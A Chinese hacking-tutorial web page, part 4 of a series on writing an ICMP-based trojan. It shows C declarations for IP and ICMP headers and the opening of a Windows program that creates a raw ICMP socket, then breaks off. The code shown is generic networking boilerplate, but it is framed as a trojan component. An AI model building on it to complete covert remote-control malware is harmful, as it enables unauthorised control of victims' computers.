Your Ad Here
首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 黑客技术 > 基于ICMP的木马的编写(4)
【标  题】:基于ICMP的木马的编写(4)
【关键字】:C,木马,ICMP,CMP,ICMP
【来  源】:网络

基于ICMP的木马的编写(4)

Your Ad Here /* The IP header */

typedef struct iphdr {

unsigned int h_len:4; //4位首部长度

unsigned int version:4; //IP版本号,4表示IPV4

unsigned char tos; //8位服务类型TOS

unsigned short total_len; //16位总长度(字节)

unsigned short ident; //16位标识

unsigned short frag_and_flags; //3位标志位

unsigned char ttl; //8位生存时间 TTL

unsigned char proto; //8位协议 (TCP, UDP 或其他)

unsigned short checksum; //16位IP首部校验和

unsigned int sourceIP; //32位源IP地址

unsigned int destIP; //32位目的IP地址

}IpHeader;

//定义ICMP首部

typedef struct _ihdr

{

BYTE i_type; //8位类型

BYTE i_code; //8位代码

USHORT i_cksum; //16位校验和

USHORT i_id; //识别号(一般用进程号作为识别号)

USHORT i_seq; //报文序列号

ULONG timestamp; //时间戳

}IcmpHeader;

#define STATUS_FAILED 0xFFFF

#define DEF_PACKET_SIZE 640

#define MAX_PACKET 6500

#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))

#define xfree(p) HeapFree (GetProcessHeap(),0,(p))

void fill_icmp_data(char *, int);

USHORT checksum(USHORT *, int);

void decode_resp(char *,int ,struct sockaddr_in *);

int main(int argc, char **argv){

WSADATA wsaData;

SOCKET sockRaw = (SOCKET)NULL;

struct sockaddr_in dest,from;

struct hostent * hp;

int bread,datasize,retval;

int fromlen = sizeof(from);

int timeout = 1000;

char *icmp_data;

char *recvbuf;

unsigned int addr=0;

USHORT seq_no = 0;

if ((retval = WSAStartup(MAKEWORD(2,1),&wsaData)) != 0){

fprintf(stderr,"WSAStartup failed: %d\n",retval);

ExitProcess(STATUS_FAILED);

}

sockRaw = WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED);
高级返回库函数exploit代码实现 三:【上一篇】
基于ICMP的木马的编写(3):【下一篇】
【相关文章】
  • 基于ICMP的木马的编写(5)
  • 开发工具大比拼visual c++ vs delphi---(三)
  • 通用ShellCode深入剖析
  • Linjection (My)SQL via PHP(1)
  • Linjection (My)SQL via PHP(2)
  • 高质量C++/C编程指南 -- 附录B :C++/C试题、答案与评分标准
  • C语言库函数(F类字母) 下
  • 安全软件新发明 可检查C++等源码和漏洞
  • Cookie的传递流程编程实现及安全问题(1)
  • Cookie的传递流程编程实现及安全问题(2)
  • 【随机文章】
  • 七类布线的革新:“非-RJ型”七类标准介绍
  • hibernate自动生成xml,vo,dao(目前只实现oracle数据库)
  • 请教各位BOSS
  • string 类型的自动装箱
  • VB在ACADWIN 中的使用
  • ES255-C7:RAID Manager6
  • Developing ASP-Based Applications
  • Ajax垮浏览器的写法--抛绣球方式
  • vi 简介
  • 消息队列在VB.NET数据库开发中的应用
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 bbb软讯网络 All Rigths Reserved.